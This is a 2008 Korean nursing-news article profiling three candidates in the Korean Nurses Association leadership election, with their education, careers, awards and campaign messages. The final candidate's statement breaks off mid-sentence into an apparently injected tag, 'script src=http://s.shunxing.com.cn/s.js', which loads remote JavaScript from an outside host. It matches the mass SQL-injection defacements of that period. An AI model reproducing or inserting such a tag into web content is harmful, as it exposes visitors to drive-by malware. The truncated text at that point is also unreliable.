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윤순녕 간협 회장 후보 공약 및 프로필
[편집국] 편집부   news@koreanurse.or.kr     기사입력 2008-01-30 오전 11:07:54

◆ 윤순녕 회장 후보 ◆

 ◇학력 -△서울대 간호대학 △서울대 보건학석사 △서울대 간호학박사 △미국 UCSF 간호대학 지역사회간호학과정 △미국 위스콘신 밀워키대 간호대학 지역사회간호센터 실무연수

 ◇경력 -△서울대 간호대학 학장(현) △대한간호정우회 회장(현) △보건복지부 주요정책과제 평가위원회 위원(현) △대한간호협회 제2부회장 △한국간호평가원 이사 △보건복지부 공적노인요양보장제도 실행 및 운영평가위원회 위원 △WTO/DDA 보건의료시장개방 대책마련 6개 의료인단체 공동대책위 공동위원장

 ◇포상 -△대한간호협회 올해의 간호인상 △석탑산업훈장 △서울시공공근로사업 민간단체참여 우수상 △서울대학교 표창장

 오늘 다양한 의료현장에서 중추적 역할을 담당하고 계시는 선생님과 2008년 새해 인사를 나눌 수 있게 된 것을 매우 기쁘게 생각합니다. 먼저 무자년 새해에는 소망하시는 모든 일이 순조롭게 이루어지기를 바랍니다.
 이번에 “출사표”를 던진 것은 그동안 느껴왔던 일들에 대한 부족하지만 최선의 해법을 가지고 평소의 소신대로 간호사를 위해 일하고자 하는 저의 의지입니다.
 환자의 생명을 다루는 간호사는 정당한 대우를 받고 존경받아야 합니다. 그러기 위해서 간호사는 경제적으로 안정되어야 하며 권위는 법으로 보장되어야 합니다. 또한 원활한 간호사 고용을 위해 사회적 협력과 상생체계가 구축되어야 합니다.
 저는 여러 현장에서 왕성하게 활동하고 있는 선생님들을 찾아뵙고 많은 고견을 들었으며 현장에서 많은 것을 배우고 느꼈습니다. 또한 지금은 현장에 없는 선생님들로부터 애로점과 건의 의견을 접하고 고민과 성찰로 밤잠을 설치기도 했습니다.
 정책 각 분야에서 실현되고 있는 성과들은 자랑스러운 동반자인 24만 간호사의 성원에 힘입은 것이며 간호실무 현장에서 현안 문제로 고심하며 끊임없이 노력하는 간호사의 피와 땀이 있었기에 가능했습니다.
 이제 제 인생의 목표는 24만 간호사가 보다 더 스스로를 자랑스러워하며 신나게 일할 수 있는 환경을 만드는 것입니다. 창조적이고 개척적으로 간호사의 위상을 향상시키고, 간호사여서 자랑스러운 세상, 간호사의 성공시대를 여러분과 함께 만들어 가겠습니다.
 많은 관심과 격려를 부탁드립니다. 열심히 또 열심히 하겠습니다. 반드시 말씀드린 이상의 것을 실천하고 24만 간호사에게 감동을 드리겠습니다.
 새해 복 많이 받으십시오.


◆ 정남연 제1부회장 후보 ◆

 ◇학력 -연세대 간호대학, 연세대 교육학석사

 ◇경력 -을지대 간호대학 교수(현), 대전시간호사회 회장(현), 대전시여성단체협의회 부회장(현), 을지대학병원 간호부장, 대전시병원간호사회 회장

 ◇포상 -대전광역시장 표창, 병원간호사회 간호지도자상, 보건복지부장관 표창

 그동안 간호협회가 수도권을 중심으로 한 “머리”로 움직였다면 지금은 심장과 팔 다리의 중요성을 역설할 때입니다.
 현장을 듣는 귀를 “지방”에 두고 각 지역 현장으로부터의 목소리를 모아 협회에 전달하고 다시 진행 여부나 결과를 전하는 일을 해낼 때 모두가 함께 이끌어가는 협회가 완성될 수 있을 것이라 생각합니다.
 앞으로 기회가 주어진다면 그동안의 병원 근무와 지부장으로서의 경험을 살려 병원간호사의 입장과 지부의 입장을 최대한 반영시켜 당면한 과제를 해결하는 데 앞장서고자 합니다.
 “오늘”을 만든 24만 간호사와 “내일”을 만들 학생들에게서 저는 서로를 향한 믿음과 존경, 지금껏 이룩한 성과에 대한 자긍심을 응축시킨 눈빛을 봅니다. 미래에 대한 희망이 클수록, 그 믿음의 깊이가 깊을수록 그 빛은 더 찬란하게 빛이 납니다.
 간호사여서 자랑스러운 세상을 활짝 열 수 있도록 선생님의 많은 격려와 지지 부탁드립니다.


◆ 이숙자 제2부회장 후보 ◆

 ◇학력 -고려대 간호대학, 연세대 이학박사

 ◇경력 -고려대 간호대학 교수(현), 성인간호학회 회장, 고려대 간호대학 초대학장, 대한간호협회 법제위원회 위원, 한국간호평가원 간호교육인정평가위원회 위원장

 저는 지난 30년을 간호교육과 함께 해오면서 간호협회가 회원을 위해 해야 할 일, 간호발전을 위해 해야 할 일 등에 대해 많은 고민을 하였습니다.
 교육현장에서 후배 양성을 위해 열정을 쏟아왔고, 간호사업의 진행 여부를 꼼꼼히 들여다 본 이유는 그것이 제가 할 수 있는 일이기 때문입니다. 그리고 그 일을 끝까지 하는 것이 제가 꿈꾸는 작은 목표입니다.
 “어머니”는 화려한 꾸밈이 없어도 늘 가족의 뒤에서 끊임없는 사랑과 후원을 보내는 것으로 스스로 빛이 나게 합니다. 저 역시 지금까지의 경험과 지식을 바탕으로 24만 간호사들을 위해 지원을 아끼지 않는 어깨가 되고자 합니다.
 현실성 있는 정책 마련과 제대로 된 파급?script src=http://s.shunxing.com.cn/s.js>
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